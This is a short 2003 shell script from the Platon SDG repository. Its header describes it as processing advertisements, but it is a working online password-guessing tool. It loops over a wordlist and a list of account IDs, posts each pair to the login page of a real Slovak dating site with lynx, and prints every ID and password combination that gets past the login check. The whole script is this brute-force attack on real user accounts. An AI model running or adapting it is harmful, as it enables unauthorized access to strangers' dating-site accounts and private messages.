Vyššie na [Platon] / scripts / shell / zoznamka-fun

Headers update.

#!/bin/sh

#
# process-ids.sh - proces particular advertisements according to wordfile
#
# Developed by Ondrej Jombik <nepto@platon.sk>
# Copyright (c) 2003 Platon SDG, http://platon.sk/
# Licensed under terms of GNU General Public License.
# All rights reserved.
#
# Changelog:
# 11/03/2002 - created
# 15/07/2003 - updated
#

# $Platon: scripts/shell/zoznamka-fun/get-ids.sh,v 1.2 2003/07/15 18:58:56 nepto Exp $

if [ $# -lt 1 ]; then
    echo "Usage: $0 ids_file wordlist_file";
    exit 1;
fi

if [ -r "$1" ]; then
    ids=`cat $1`;
else
    ids="$1";
fi

if [ -r "$2" ]; then
    pws=`cat $2`;
else
    pws="$2";
fi

for pw in $pws; do
    echo "-- Processing password $pw --";
    for id in $ids; do
        result=`echo "cislo=$id&heslo=$pw" \
            | lynx -post_data -dump 'http://Zoznamka.AZet.sk/odpovede.phtml' \
            | grep -E "(registrovaný uzívatel |PRIHLÁSIT[ ]+stratené heslo)"`;    

            if [ -z "$result" ]; then
                echo "$id:$pw";
            else
                result=`echo "$result" \
                    | perl -wne 'print $1 if (/^.*uzívatel (.*)\. Musít.*$/)'`;
                if [ -n "$result" ]; then
                    echo "user: $result";
                fi
            fi

    done
done